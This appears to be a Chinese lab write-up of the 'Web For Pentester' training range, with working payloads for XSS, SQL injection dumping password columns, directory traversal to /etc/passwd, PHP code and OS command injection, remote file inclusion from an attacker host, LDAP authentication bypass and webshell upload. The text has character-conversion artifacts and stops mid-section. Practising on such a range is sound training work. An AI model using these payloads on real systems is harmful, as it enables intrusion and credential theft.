[NOTE] Web For Pentester靶场练习笔记
[NOTE] Web For Pentester靶場(chǎng)練習(xí)筆記
文章目錄
- [NOTE] Web For Pentester靶場(chǎng)練習(xí)筆記
- 前言
- Web基礎(chǔ)
- PHP的session管理
- HTTP認(rèn)證
- Web應(yīng)用指紋識(shí)別
- XSS
- Example 1
- Example 2
- Example 3
- Example 4
- Example 5
- Example 6
- Example 7
- Example 8
- Example 9
- SQL injections
- Example 1
- Example 2
- Example 3
- Example 4
- Example 5
- Example 6
- Example 7
- Example 8
- Example 9
- Directory traversal
- Example 1
- Example 2
- Example 3
- File Include
- Example 1
- Example 2
- Code injection
- Example 1
- Example 2
- Example 3
- Example 4
- Commands injection
- Example 1
- Example 2
- Example 3
- LDAP attacks
- Example 1
- Example 2
- File Upload
- Example 1
- Example 2
- XML attacks
- Example 1
- Example 2
前言
搞完XVWA之后
環(huán)境
hacker: Kali Linux | 192.168.10.1/10.10.10.1
server: Debian 6 | 192.168.10.xxx (dynamic)
想著搞完這個(gè)Web靶場(chǎng)就暫時(shí)歇一歇
不搞這種專門的列一大堆的Web漏洞的靶場(chǎng)了
后面搞CMS,以及一些sqli和upload的專項(xiàng)訓(xùn)練,還有練練滲透
所以這個(gè)靶場(chǎng)更多地面向源碼一些
先黑盒,做不做得出最后都看看代碼分析一下
也會(huì)看看官方給的教程文檔,看看有沒(méi)有別的什么值得學(xué)習(xí)的地方
此外也借鑒整理了國(guó)光大神的博客
Web基礎(chǔ)
就是對(duì)官方教程前面的部分進(jìn)行簡(jiǎn)單看看,記些不太熟或不懂的
Web安全的根基:don’t trust the client
Web服務(wù)端可以進(jìn)一步劃分不同的層次,并面臨不同的安全問(wèn)題:
- Web服務(wù)器,如Apache、lighttpd、Nginx、IIS等
- 應(yīng)用服務(wù)器,如Tomcat、Jboss、Oracle Application server等
- 編程語(yǔ)言,如PHP、Java、Ruby、Python、ASP、C#等
這些編程語(yǔ)言也可以被用作框架的一部分,如Ruby-on-Rails、.Net MVC、Django等
同一個(gè)Web應(yīng)用可能會(huì)同時(shí)使用多個(gè)或多種后端存儲(chǔ)
例如使用==LDAP==存儲(chǔ)用戶及其憑證,而使用Oracle存儲(chǔ)信息
GET和HEAD的區(qū)別僅體現(xiàn)在服務(wù)器的響應(yīng)上:
GET的返回可以包含返回體
HEAD的返回體僅有headers,而沒(méi)有body
還有別的方法如PUT、DELETE、OPTION等
以前倒是了解過(guò)RESTful架構(gòu),簡(jiǎn)單寫了下筆記
有些請(qǐng)求參數(shù)看起來(lái)像是這樣:
/index.php?user[name]=louis&user[group]=1
一些框架會(huì)把它映射到user對(duì)象中,用來(lái)查找指定屬性符合的對(duì)象
有時(shí)候這種使用方法若防御不當(dāng),則會(huì)導(dǎo)致名為“mass-assignment”的風(fēng)險(xiǎn)
(簡(jiǎn)單了解下,這個(gè)好像是涉及到Ruby-on-Rails框架,后面有機(jī)會(huì)再了解下)
- X-Forwarded-For頭的作用:獲取源IP地址
- Host頭,在一些多站點(diǎn)服務(wù)器上,服務(wù)器用于“virtual-hosting”(同IP多域名)
這里很多時(shí)候是一個(gè)安全點(diǎn),如輸入IP地址啥的
418響應(yīng)碼:I’m a teapot
double encoding:雙重編碼有時(shí)可能有點(diǎn)用,URL啥的
關(guān)于返回包里的Set-Cookie字段,包含了一些信息:
- 有效期:告訴瀏覽器什么時(shí)候刪除這個(gè)cookie
- Domain:告訴瀏覽器把這個(gè)cookie發(fā)往哪一個(gè)子域名或主機(jī)名
- Path:告知瀏覽器把這個(gè)cookie發(fā)往哪一個(gè)路徑
- 安全標(biāo)志:如httpOnly、secure等
cookie與session:一個(gè)存儲(chǔ)在客戶端,一個(gè)存儲(chǔ)在服務(wù)端
PHP的session管理
PHP在Debian里面是無(wú)加密存儲(chǔ)sessionid的,如/var/lib/php5
假如一個(gè)sessionid是o8d7lr4p16d9gec7ofkdbnhm93
那么對(duì)應(yīng)的文件就是sess_o8d7lr4p16d9gec7ofkdbnhm93,里面有關(guān)于這個(gè)session的完整信息
HTTP認(rèn)證
HTTP協(xié)議中自帶以下的認(rèn)證方法:
-
Basic:通過(guò)Authorization頭指定,用戶名和密碼經(jīng)BASE64編碼后發(fā)送給服務(wù)器
-
Digest:服務(wù)端發(fā)送挑戰(zhàn),客戶端將挑戰(zhàn)連同密碼作哈希后發(fā)往服務(wù)器
-
NTLM:多在Microsoft里面使用,和Digest差不多
Web應(yīng)用指紋識(shí)別
-
server的名稱和版本
-
后端有無(wú)使用應(yīng)用服務(wù)器
-
后端數(shù)據(jù)庫(kù)
-
反向代理的使用?
-
負(fù)載平衡
-
編程語(yǔ)言
有時(shí)候以.jsp和.do為后綴的頁(yè)面文件很可能是Java語(yǔ)言寫的
(雖然也有可能是混淆)
有時(shí)候頁(yè)面旁邊的小圖標(biāo)也能暴露服務(wù)器banner信息
只要網(wǎng)站管理員沒(méi)改的話
robots.txt文件有時(shí)候可以暴露框架和應(yīng)用
有時(shí)候一些CMS或應(yīng)用的文檔,可能暴露管理員頁(yè)面
XSS
關(guān)于XSS漏洞具體的利用場(chǎng)景,可以看看我之前在Pikachu靶場(chǎng)的練習(xí)筆記
下面的練習(xí),就簡(jiǎn)單彈個(gè)窗什么的…
Example 1
最最最最最最最最最最基本的XSS,亂X
源碼就是直接echo參數(shù)
Example 2
過(guò)濾了<script>,大小寫混拼可繞過(guò)
源碼:preg_replace正則匹配替換<script>和</script>
雙拼、大小寫繞過(guò)都可以
Example 3
img標(biāo)簽可繞過(guò):
?name=<img src="e" onerror=alert("XSS") />
源碼:preg_replace正則匹配<script>和</script>,不區(qū)分大小寫
雙拼可繞過(guò)
Example 4
img標(biāo)簽可繞過(guò)
源碼:preg_match('/script/i', $_GET["name"])
正則匹配“script”,不區(qū)分大小寫,匹配到就報(bào)“error”
Example 5
很奇怪,過(guò)濾alert?
寫cookie在頁(yè)面上的payload:
<script>document.write(document.cookie)</script>
源碼還真是正則匹配不區(qū)分大小寫的alert,匹配到就報(bào)錯(cuò)
why?
行吧,原來(lái)題目要求我們就要彈窗
那就結(jié)合eval函數(shù)和String.fromCharCode函數(shù)
后者將alert("XSS")的ascii碼轉(zhuǎn)成字符,再拼接成字符串
前者將字符串當(dāng)作代碼執(zhí)行
payload1:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41))</script>
payload2:
<img src="e" onerror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41));" />
另外兩個(gè)彈窗函數(shù),都可以回顯cookie:
- confirm:彈出確認(rèn)框
- prompt:彈出輸入框
Example 6
這次輸什么都不會(huì)回顯了
源碼:
Hello <script>var $a= "<?php echo $_GET["name"]; ?>"; </script>也就是說(shuō),輸入被拼接到了字符串中,被當(dāng)作變量保存
然后沒(méi)有任何回顯
這種是屬于盲注的情況?
輸入的參數(shù)要主動(dòng)閉合上雙引號(hào),然后形成完整的JS語(yǔ)句
payload:";alert("XSS")//
變成:var $a= "<?php echo "; alert("XSS")//; ?>"
這個(gè)比較難想到?
思路是,不管什么東西,都試試單/雙引號(hào)主動(dòng)閉合看看
Example 7
源碼:
Hello <script>var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script>使用htmlentities函數(shù)將HTML特殊字符轉(zhuǎn)義成HTML實(shí)體
但是這個(gè)函數(shù)默認(rèn)不轉(zhuǎn)義',除非加上ENT_QUOTES參數(shù)
所以主動(dòng)閉合,payload:';alert('XSS');//
Example 8
換成了一個(gè)輸入框,POST提交參數(shù),然后回顯
但是這次好像怎么注都不太行
源碼:
echo "HELLO ".htmlentities($_POST["name"]);這次的輸入框不存在XSS問(wèn)題了,因?yàn)檩斎攵嫉玫搅苏_的轉(zhuǎn)義
但是問(wèn)題出在form表單的構(gòu)造:
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">Your name:<input type="text" name="name" /><input type="submit" name="submit"/>上面使用了$_SERVER['PHP_SELF']這個(gè)變量,指代的是當(dāng)前執(zhí)行腳本的文件名
不當(dāng)使用該變量也可能導(dǎo)致XSS問(wèn)題
在這一題中,根據(jù)URL該值應(yīng)該是/xss/example8.php
但是攻擊者可以通過(guò)修改URL從而達(dá)到XSS的目的
根據(jù)上述,可以給出以下payload:
http://192.168.10.136/xss/example8.php/"></from><script>alert(document.cookie)</script>
這樣一來(lái)表單就會(huì)變成:
嵌入了script標(biāo)簽,從而執(zhí)行惡意代碼
但是從頁(yè)面元素來(lái)看,表單結(jié)構(gòu)顯示的是<form action="/xss/example8.php" method="POST">
這我怎么知道這里是寫死的還是代碼生成的呢?只能白盒?
總之,學(xué)習(xí)到$_SERVER['PHP_SELF']這個(gè)變量是指示當(dāng)前執(zhí)行腳本的文件名
一定程度上反映自URL,而URL是用戶可控的
Example 9
這次是基于DOM型的XSS,源碼:
<script>document.write(location.hash.substring(1)); </script>意思是將URL錨點(diǎn)#后面的字符串寫在頁(yè)面上
理論上這里寫XSS的payload就好
但是有一個(gè)問(wèn)題,目前我的瀏覽器會(huì)自動(dòng)URL編碼
所以最后寫在頁(yè)面上的是編碼后的payload:
形成不了彈窗的效果
bp、curl這倆工具捕獲不到后面動(dòng)態(tài)生成頁(yè)面的過(guò)程
那咋辦
換成HTML編碼那就更不行了
一個(gè)思路就是看看能不能關(guān)掉瀏覽器的自動(dòng)URL編碼功能
SQL injections
Example 1
GET一個(gè)name參數(shù),傳入用戶名,然后返回信息
傳入不存在的用戶名也會(huì)顯示屬性欄
但是傳入'則會(huì)什么都沒(méi)有,類似于頁(yè)面出現(xiàn)錯(cuò)誤
說(shuō)明可能是單引號(hào)字符型注入
驗(yàn)證注入的payload:?name=' or 1=1 %23
判斷回顯字段為5:?name=root' order by 5%23
觀察回顯位置:' union select 1,2,3,4,5 %23
爆庫(kù):?name=' union select database(),2,3,4,5 %23
爆表:?name=' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() %23
爆列:?name=' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' %23
爆數(shù)據(jù):?name=' union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users %23
源碼:
$sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";最簡(jiǎn)單的SQLi
Example 2
情景和上題一樣
測(cè)試全注:' or 1=1 %23
但是回顯“ERROR NO SPACE”
說(shuō)明檢測(cè)到了空格,從而報(bào)錯(cuò)
那就換成注釋符/**/作為分隔符
判斷回顯字段:?name='/**/union/**/select/**/1,2,3,4,5/**/%23
中間過(guò)程省略,最后爆數(shù)據(jù):?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23
源碼:
if (preg_match('/ /', $_GET["name"])) {die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";正則匹配到有空格就報(bào)錯(cuò),換成注釋符/**/可繞過(guò)
Example 3
和上題沒(méi)什么區(qū)別?也是過(guò)濾空格?
最后爆數(shù)據(jù)的payload:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23
源碼:
if (preg_match('/\s+/', $_GET["name"])) {die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";原來(lái)是過(guò)濾掉所有空白字符,但是沒(méi)有考慮注釋符
所以上一題的繞過(guò)方法還能用
Example 4
參數(shù)從name變成了id,說(shuō)明可能是數(shù)字型注入
一試,果然:?id=999 or 1=1 %23
剩下的就是最簡(jiǎn)單的數(shù)字型注入,主要是?id=999 union select ...
源碼:
$sql="SELECT * FROM users where id="; $sql.=mysql_real_escape_string($_GET["id"])." ";亂注
Example 5
和上題沒(méi)什么區(qū)別?
源碼:
if (!preg_match('/^[0-9]+/', $_GET["id"])) {die("ERROR INTEGER REQUIRED"); } $sql = "SELECT * FROM users where id="; $sql .= $_GET["id"] ;好像是匹配不到整數(shù)就報(bào)錯(cuò),但是為什么這個(gè)payload能夠通過(guò)?
?id=999 union select 1,2,3,4,5 %23
測(cè)了下,好像這個(gè)函數(shù)preg_match捕獲到第一個(gè)符合條件的就返回,就不管后面的內(nèi)容了,所以上面匹配到999之后,就通過(guò)檢查了,但是會(huì)把所有payload都傳遞給$id
官方文檔也是這樣說(shuō)的:
**preg_match()返回 pattern 的匹配次數(shù)。 它的值將是0次(不匹配)或1次,因?yàn)?/strong>preg_match()**在第一次匹配后 將會(huì)停止搜索。
Example 6
這次輸入?id=999 union select 1,2,3,4,5 %23
也會(huì)報(bào)“ERROR INTEGER REQUIRED”
源碼:
if (!preg_match('/[0-9]+$/', $_GET["id"])) {die("ERROR INTEGER REQUIRED"); } $sql = "SELECT * FROM users where id="; $sql .= $_GET["id"] ;原來(lái)是要參數(shù)id最后匹配數(shù)字,前面不管
那么后面的注釋符#都不同了哈哈
全注的payload:?id=55 or 1=1 or 99
判斷回顯字段數(shù):?id=1 order by 5
判斷回顯字段:?id=999 union select 1,2,3,4,5
爆庫(kù):?id=999 union select database(),2,3,4,5
爆表和爆列最后面的where語(yǔ)句判斷,需要最后面加個(gè) and 1來(lái)繞過(guò)檢查
爆表:?id=999 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() and 1
爆列:?id=999 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' and 1
爆數(shù)據(jù)最后面加個(gè)where 1就行
爆數(shù)據(jù):?id=999 union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users where 1
Example 7
這次看起來(lái)限制的比較死,哪里有非數(shù)字字符好像都不行
源碼:
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {die("ERROR INTEGER REQUIRED"); } $sql = "SELECT * FROM users where id="; $sql .= $_GET["id"];將id參數(shù)從頭匹配到尾~~(還是全行匹配)~~,若不是整數(shù),則報(bào)錯(cuò)
那咋辦,查攻略
正則匹配的修飾符/m,意思是多行模式
即會(huì)逐行匹配,而不是匹配整個(gè)字符串的開頭和結(jié)尾
加上preg_match只匹配一次的特性
就可以這樣構(gòu)造payload:123\nPAYLOAD
但是不管我怎樣搞,都會(huì)顯示“ERROR INTEGER REQUIRED”
URL編碼后也不行
則么會(huì)是?
Example 8
這一次比較奇怪,參數(shù)變成了order
一開始是?order=name,懷疑是將查詢結(jié)果按“name”屬性排列
改成“id”或“age”,也按對(duì)應(yīng)屬性順序排列了
猜測(cè)后端代碼如:select * from table order by '$_GET['name']'
然后就不會(huì)了
源碼:
$sql = "SELECT * FROM users ORDER BY `"; $sql .= mysql_real_escape_string($_GET["order"])."`";需要說(shuō)明一點(diǎn)的是
MySQL里面的order by后面跟的排列字段只有以下兩種形式:
- 直接跟列名:order by name
- 跟反點(diǎn)之間的列名:order by `name`
所以之前猜測(cè)的使用單引號(hào)是不對(duì)的
此外源碼里面還使用了mysql_real_escape_string函數(shù),單雙引號(hào)、回車制表、反斜杠以及\x00等都會(huì)被轉(zhuǎn)義
就是沒(méi)有轉(zhuǎn)義“`”
這里還要結(jié)合一下order by可以多字段排列的特點(diǎn)
以及使用case-when-then-else-end句式
示例payload:?order=id`, (case when (1=2) then `name` else `age` end) %23
首先是主動(dòng)閉合,先將查詢結(jié)果按id字段排列
后面的句式是關(guān)鍵,when里面添加判斷語(yǔ)句
為真則進(jìn)一步按name字段排列,否則按age字段排列
when里面可以替換成別的判斷
返回結(jié)果會(huì)根據(jù)真假是否成立從而形成不同的顯示結(jié)果
從而形成盲注的效果
遺憾的是,這里的數(shù)據(jù)庫(kù)每個(gè)字段都是不一樣的
所以找不出不同判斷結(jié)果會(huì)有的不一樣的地方
Example 9
源碼:
$sql = "SELECT * FROM users ORDER BY "; $sql .= mysql_real_escape_string($_GET["order"]);和上題類似,只不過(guò)是使用了order by的另一種字段使用方法:直接拼接
由于不用使用“`”去主動(dòng)閉合,可以做到只用一個(gè)字段排列
返回結(jié)果能夠根據(jù)when的判斷結(jié)果而不一樣了
真正做到了盲注
下面的盲注過(guò)程只是簡(jiǎn)單寫寫,不寫完整過(guò)程(手工盲注也太累了吧)
判斷出數(shù)據(jù)庫(kù)名長(zhǎng)度為9:
?order=(case when (length(database())=9) then `id` else `age` end)
判斷出第一個(gè)表名長(zhǎng)度為5:
?order=(case when (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5) then `id` else `age` end)
判斷出第一個(gè)表名的第一個(gè)字符的ascii碼為117:
?order=(case when (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) then `id` else `age` end)
(不能用字符直接判斷,因?yàn)槭褂昧薽ysql_real_escape_string函數(shù))
后面算了,sqlmap跑跑看
sqlmap能注是能注,但它用的是時(shí)間盲注,效率有點(diǎn)慢
加上我的靶場(chǎng)環(huán)境配置,攻擊者和靶機(jī)之間的通信有時(shí)會(huì)卡住,就很慢
不過(guò)sqlmap的容錯(cuò)做的是真的不錯(cuò),會(huì)自動(dòng)根據(jù)實(shí)際情況調(diào)整時(shí)延上限
牛逼牛逼
是不是要把靶機(jī)的處理器和內(nèi)存都配置得大一點(diǎn)?
Directory traversal
奇怪的是,為什么主頁(yè)上沒(méi)有超鏈接,而是這么一個(gè)icon?
直接抄家,翻源碼找到對(duì)應(yīng)練習(xí)頁(yè)面:
http://192.168.10.XXX/dirtrav/exampleX.php
此外官網(wǎng)的指引中給出了一個(gè)路徑穿越漏洞的一般測(cè)試步驟:
- images/./photo.jpg:能看到同一文件
- images/../photo.jpg:報(bào)錯(cuò)
- images/../images/photo.jpg:能看到同一文件
- images/../IMAGES/photo.jpg:報(bào)錯(cuò)(卻決于目標(biāo)系統(tǒng)是否對(duì)路徑大小寫敏感)
此外../的數(shù)量過(guò)多的話一般來(lái)說(shuō)也是沒(méi)有問(wèn)題的
Example 1
有一個(gè)GET參數(shù)file承接一個(gè)文件名
然后就可以../../../../../../../etc/passwd了
此外官網(wǎng)指引提到
要是包含一個(gè)返回頭Content-Disposition: attachment
瀏覽器是不會(huì)直接顯示文件的
而可以通過(guò)打開文件來(lái)查看內(nèi)容
例如可以使用wget命令來(lái)路徑穿越下載文件:
wget -O - 'http://vulnerable/dirtrav/example1.php?file=../../../../../../../etc/passwd'
Example 2
上一個(gè)練習(xí)的payload不能用了
相關(guān)源碼:
$file = $_GET['file']; if (!(strstr($file,"/var/www/files/")))die();strstr函數(shù):strstr(string $haystack, mixed $needle)
返回haystack字符串從needle第一次出現(xiàn)的位置開始到haystack結(jié)尾的字符串
例如strstr('name@xxx.com', '@')返回@xxx.com
so the payload:?file=/var/www/files/../../../../../../etc/passwd
大概有點(diǎn)像判斷參數(shù)里一定要包含合法值的意思
Example 3
上面的兩個(gè)payload都不好使
相關(guān)源碼:
$path = $UploadDir . $file.".png"; $path = preg_replace('/\x00.*/',"",$path);原來(lái)是給傳入?yún)?shù)添加上了后綴
然而這種防范很容易繞過(guò)——利用00截?cái)?br /> 一般在Perl和老版本的PHP語(yǔ)言中很管用
(PHP 5.3.4及以上版本修復(fù)此問(wèn)題)
所以payload:?file=../../../../../../etc/passwd%00
關(guān)于00截?cái)?#xff1a;具體是指老版本PHP等語(yǔ)言,在讀取文件名是,如遇0x00,則會(huì)認(rèn)為讀取已結(jié)束
具體是null字符,在URL編碼中為%00
File Include
這里是包含php文件,一般情況下涉及到下列函數(shù):
- require
- require_once
- include
- include_once
一般結(jié)合文件上傳漏洞打組合拳,官方給了一個(gè)用于遠(yuǎn)程包含的php文件:
https://assets.pentesterlab.com/test_include.txt
就是簡(jiǎn)單的php探針
Example 1
page參數(shù)接一個(gè)php文件,那試試直接上上面的payload
然就發(fā)現(xiàn)寄了,因?yàn)榘袡C(jī)是內(nèi)網(wǎng)環(huán)境,整不了外網(wǎng)腳本
那就在攻擊機(jī)里整探針試試:http://192.168.10.1/hack.php
但是信息是攻擊機(jī)的
另外如果構(gòu)造錯(cuò)誤輸入可以爆出一些有用信息:
Warning: include(http://192.168.10.1/hack.php'): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'http://192.168.10.1/hack.php'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
Example 2
page參數(shù)后面這次沒(méi)有.php后綴了,后端會(huì)自動(dòng)加上
看了看源碼,繞過(guò)方法是低版本php的00截?cái)?/p>
Code injection
談到php里有個(gè)系統(tǒng)代碼執(zhí)行函數(shù)system
然后php的行注釋符是//
php里代碼拼接是.
Example 1
name參數(shù),輸入"得報(bào)錯(cuò)信息:
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1
得知使用的是eval函數(shù)
看眼源碼:
$str="echo \"Hello ".$_GET['name']."!!!\";"; eval($str);如果輸入try".",那么$str就會(huì)變成這樣:
$str="echo \"Hello try" . "!!!\";";
抽出字符串本身來(lái)看,就是這個(gè)樣子:
echo "Hello {我們注入的代碼} !!!";
所以一個(gè)探針peyload就是:?name=";phpinfo();$a="
命令變成:echo "Hello ";phpinfo();$a=" !!!";
也可以放到php代碼層進(jìn)行繞過(guò):
?name=".phpinfo();//
拼接變成:$str="echo \"Hello ".phpinfo();//!!!\";";
(這里不是很懂拼接的雙引號(hào)問(wèn)題)
或者使用${${code}}嗯插代碼:
?name=${${phpinfo()}}
如果想執(zhí)行系統(tǒng)命令而不是php函數(shù),則使用system函數(shù):
?name=".system('uname -a'); $dummy="
變成:$str="echo \"Hello ".system('uname -a'); $dummy="!!!\";";
(不是很懂拼接的雙引號(hào)問(wèn)題)
感覺(jué)還是得學(xué)習(xí)一波php語(yǔ)言
Example 2
變成了一個(gè)表格,order參數(shù)傳入排序的列名
單引號(hào)所引發(fā)的報(bào)錯(cuò):
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING or T_VARIABLE or '{' or '$' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22
不知道是啥代碼捏
開發(fā)者使用排序時(shí)可能會(huì)使用以下方法:
- order by——SQL請(qǐng)求
- usort——PHP代碼
usort函數(shù)經(jīng)常使用create_function函數(shù)去動(dòng)態(tài)生成排序函數(shù)
本題的關(guān)鍵代碼:
if (isset($order)) {usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); }usort(array, myfunction):
使用用戶自定義的比較函數(shù)對(duì)數(shù)組中的元素進(jìn)行排序
array:要排序的數(shù)組
myfunction:用于比較函數(shù)的字符串
create_function(string $args, string $code):
創(chuàng)建匿名函數(shù)
args:lambda函數(shù)的變量部分
code:lambda函數(shù)的實(shí)現(xiàn)
例如create_function('$fname','echo $fname."welcome"')
等價(jià)于:
不能說(shuō)是等價(jià),實(shí)際上就是按這個(gè)模式進(jìn)行創(chuàng)建的
所以注入時(shí)需要考慮主動(dòng)閉合花括號(hào),使用}
所以看回代碼:
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
關(guān)鍵就是參數(shù)order,看看怎么主動(dòng)閉合形成代碼注入
一步步試:
?order=id;}//
?order=id);}//
?order=id));}//
上面只有中間那個(gè)不會(huì)報(bào)語(yǔ)法錯(cuò)誤(error),只是警告(warning)
所以只需在}后面跟上我們要注入的代碼即可
所以當(dāng)注入這個(gè):id);}phpinfo();//
就會(huì)變成:
即
function fT($a, $b) {return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//;}usort函數(shù)使用上面的匿名函數(shù)字符串,所以最后會(huì)執(zhí)行一遍phpinfo
有點(diǎn)難,得學(xué)PHP
Example 3
一大堆參數(shù)WTF:?new=hacker&pattern=/lamer/&base=Hello lamer
然后頁(yè)面只是回顯個(gè)“Hello hacker”
源碼:
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);大概是把base里面正則匹配的pattern替換成new的意思
說(shuō)到preg_replace函數(shù),有一個(gè)很危險(xiǎn)的選項(xiàng)PCRE_REPLACE_EVAL(/e)
會(huì)導(dǎo)致preg_replace函數(shù)會(huì)把替換后的新字符串當(dāng)作PHP代碼去執(zhí)行
PCRE_REPLACE_EVAL has been deprecated as of PHP 5.5.0
后面用preg_replace_callback代替
所以只需要在傳入的模式中加上/e模式
就可以把替換后的結(jié)果當(dāng)作PHP代碼執(zhí)行
所以payload:?new=phpinfo()&pattern=/lamer/e&base=Hello lamer
Example 4
又變回來(lái)了,name參數(shù),回顯到頁(yè)面上
引號(hào)引起的報(bào)錯(cuò):Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: ''' in /var/www/codeexec/example4.php on line 4
估計(jì)和assert函數(shù)有關(guān)
源碼:
assert(trim("'".$_GET['name']."'")); echo "Hello ".htmlentities($_GET['name']);trim:移除字符串兩邊的空白字符或預(yù)定義字符
assert:PHP5可以執(zhí)行代碼
所以主要就是構(gòu)造閉合,執(zhí)行想要的代碼
和Example 1差不多
有三種閉合方式:
注釋掉后面的引號(hào):?name='.phpinfo();//
也閉合后面引號(hào):'.phpinfo().'
直接${${code}}插入代碼:'.${${phpinfo()}}.'
Commands injection
上面是代碼注入,這里是命令注入,有點(diǎn)區(qū)別
此外Linux里面有個(gè)機(jī)制,就是反引號(hào)里面的字符串會(huì)被當(dāng)成命令先執(zhí)行
例如“echo `whoami`”會(huì)輸出當(dāng)前用戶名
Example 1
ip參數(shù)后面跟個(gè)IP地址,然后給出ping的結(jié)果
好像很明顯?直接分號(hào)接命令就ok:?ip=127.0.0.1;whoami
源碼:
system("ping -c 2 ".$_GET['ip']);
Example 2
?ip=127.0.0.1;whoami直接報(bào)“Invalid IP address”
源碼:
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {die("Invalid IP address"); } system("ping -c 2 ".$_GET['ip']);正則匹配限定參數(shù)必須有ip地址形式的字符串
但是是多行模式匹配,加上preg_match函數(shù)只會(huì)匹配一次的特點(diǎn)
所以可以使用換行符(URL編碼)來(lái)分隔正常的輸入和惡意命令:
?ip=127.0.0.1%0Awhoami
Example 3
發(fā)現(xiàn)輸入?ip=127.0.0.1;whoami會(huì)跳轉(zhuǎn)回ping 127.0.0.1的頁(yè)面
抓包一看發(fā)現(xiàn)只是重定向而已,原來(lái)的包還是會(huì)返回惡意代碼執(zhí)行的結(jié)果
LDAP attacks
LDAP(Lightweight Directory Access Protocol),輕量目錄訪問(wèn)協(xié)議
可以把他和數(shù)據(jù)庫(kù)類比,LDAP是一個(gè)為查詢、瀏覽、搜索而優(yōu)化的專業(yè)分布式數(shù)據(jù)庫(kù),它成樹狀結(jié)構(gòu)組織數(shù)據(jù),就好像 Linux/Unix系統(tǒng)中的文件目錄一樣。
目錄數(shù)據(jù)庫(kù)和關(guān)系數(shù)據(jù)庫(kù)不同,它有優(yōu)異的讀性能,但寫性能差,并且沒(méi)有事務(wù)處理、回滾等復(fù)雜功能,不適于存儲(chǔ)修改頻繁的數(shù)據(jù)。
所以 LDAP天生是用來(lái)查詢的。
Example 1
用于認(rèn)證的兩個(gè)參數(shù)username和password
一開始有初值:?username=hacker&password=hacker
但是回顯“NOT AUTHENTICATED”
但是把所有參數(shù)都刪除,就會(huì)顯示“AUTHENTICATED”,認(rèn)證成功了
一些LDAP服務(wù)器允許NULL綁定:如果NULL值被傳輸,則LDAP服務(wù)器會(huì)嘗試綁定連接,而PHP代碼會(huì)認(rèn)為這種認(rèn)證是合法的
源碼:
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server"); ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3); ldap_set_option($ld, LDAP_OPT_REFERRALS, 0); if ($ld) {if (isset($_GET["username"])) { $user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";}$lb = @ldap_bind($ld, $user,$_GET["password"]);if ($lb) {echo "AUTHENTICATED";}else {echo "NOT AUTHENTICATED";} }抽出漏洞原因,估計(jì)是下面這個(gè):
$lb = @ldap_bind($ld, $user,$_GET["password"]); if ($lb) {echo "AUTHENTICATED"; }由于ldap_bind繼續(xù)嘗試綁定連接,所以$lb不為NULL,所以通過(guò)下方認(rèn)證判定
這是一種編碼失誤,其他認(rèn)證過(guò)程也要注意類似的問(wèn)題
Example 2
默認(rèn)參數(shù):?name=hacker&password=hacker
回顯“AUTHENTICATED as hacker”
刪除所有參數(shù),回顯:
Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED
這部分類似于MySQL注入,需要先學(xué)習(xí)LDAP的基本知識(shí)
-
LDAP基礎(chǔ)
-
LDAP服務(wù)器搭建
-
題解
主要還是要理解一些LDAP語(yǔ)法,以及運(yùn)用到了PHP的00截?cái)?br /> 達(dá)到了類似sqli萬(wàn)能密碼的效果
File Upload
Example 1
好像是直接傳的意思
準(zhǔn)備一句話,蟻劍連
源碼:
<?php if(isset($_FILES['image'])) { $dir = '/var/www/upload/images/';$file = basename($_FILES['image']['name']);if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) {echo "Upload done";echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";} else { echo 'Upload failed';} } ?><form method="POST" action="example1.php" enctype="multipart/form-data"> Mon image : <input type="file" name="image"><br/> <input type="submit" name="send" value="Send file"> </form>沒(méi)有任何防護(hù)措施
Example 2
直接上傳一句話顯示“NO PHP”
試了試00截?cái)?#xff0c;發(fā)現(xiàn)不太行
源碼:
